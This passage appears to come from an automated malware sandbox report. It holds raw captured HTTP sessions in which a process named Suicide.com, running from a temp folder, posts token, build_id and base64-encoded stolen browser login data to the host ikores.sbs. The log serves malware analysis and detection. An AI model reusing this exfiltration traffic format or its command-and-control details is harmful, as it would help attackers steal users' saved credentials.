2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 35 50 38 47 4c 36 38 47 4c 4e 37 59 4d 59 35 38 39 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 35 50 38 47 4c 36 38 47 4c 4e 37 59 4d 59 35 38 39 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 49 35 50 38 47 4c 36 38 47 4c 4e 37 59 4d 59 35 38 39 30 30 0d 0a 43 6f 6e 74 Data Ascii: ------I5P8GL68GLN7YMY58900Content-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------I5P8GL68GLN7YMY58900Content-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------I5P8GL68GLN7YMY58900Cont
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 59 69 43 78 45 41 41 51 59 42 44 51 51 49 41 77 67 49 44 51 67 49 43 41 67 4a 43 41 41 76 5a 58 64 45 74 42 69 33 43 71 41 41 41 41 59 34 6f 47 49 66 43 68 45 41 41 51 59 42 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 77 41 76 5a 58 64 45 74 42 69 33 43 59 41 41 41 41 59 66 43 52 45 41 41 51 59 42 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 67 41 76 5a 58 64 45 74 42 69 33 43 49 41 41 41 41 59 65 43 42 45 41 41 51 59 49 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 51 41 76 5a 58 64 45 74 42 69 33 45 41 41 41 42 69 49 48 45 51 41 42 42 67 45 4e 42 41 67 44 43 41 67 4e 43 41 67 49 43 41 6b 45 41 43 39 6c 5a 51 58 79 48 55 51 47 6f 41 41 41 42 67 50 73 35 42 38 47 45 51 41 42 42 67 45 4e 42 41 67 49 43 41 67 4e 43 41 67 49 43 41 6b 44 Data Ascii: AYiCxEAAQYBDQQIAwgIDQgICAgJCAAvZXdEtBi3CqAAAAY4oGIfChEAAQYBDQQICAgIDQgICAgJBwAvZXdEtBi3CYAAAAYfCREAAQYBDQQICAgIDQgICAgJBgAvZXdEtBi3CIAAAAYeCBEAAQYIDQQICAgIDQgICAgJBQAvZXdEtBi3EAAABiIHEQABBgENBAgDCAgNCAgICAkEAC9lZQXyHUQGoAAABgPs5B8GEQABBgENBAgICAgNCAgICAkD
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:24 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49872	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:25 UTC	319	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----USR1V37900ZM7Q1DTJW4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:25 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 55 53 52 31 56 33 37 39 30 30 5a 4d 37 51 31 44 54 4a 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 55 53 52 31 56 33 37 39 30 30 5a 4d 37 51 31 44 54 4a 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 55 53 52 31 56 33 37 39 30 30 5a 4d 37 51 31 44 54 4a 57 34 0d 0a 43 6f 6e 74 Data Ascii: ------USR1V37900ZM7Q1DTJW4Content-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------USR1V37900ZM7Q1DTJW4Content-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------USR1V37900ZM7Q1DTJW4Cont
2024-12-06 08:42:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:25 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:25 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:27 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49878	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:27 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----58Y5FK6F37QIE37Q1NGL User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:27 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 38 59 35 46 4b 36 46 33 37 51 49 45 33 37 51 31 4e 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 35 38 59 35 46 4b 36 46 33 37 51 49 45 33 37 51 31 4e 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 35 38 59 35 46 4b 36 46 33 37 51 49 45 33 37 51 31 4e 47 4c 0d 0a 43 6f 6e 74 Data Ascii: ------58Y5FK6F37QIE37Q1NGLContent-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------58Y5FK6F37QIE37Q1NGLContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------58Y5FK6F37QIE37Q1NGLCont
2024-12-06 08:42:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 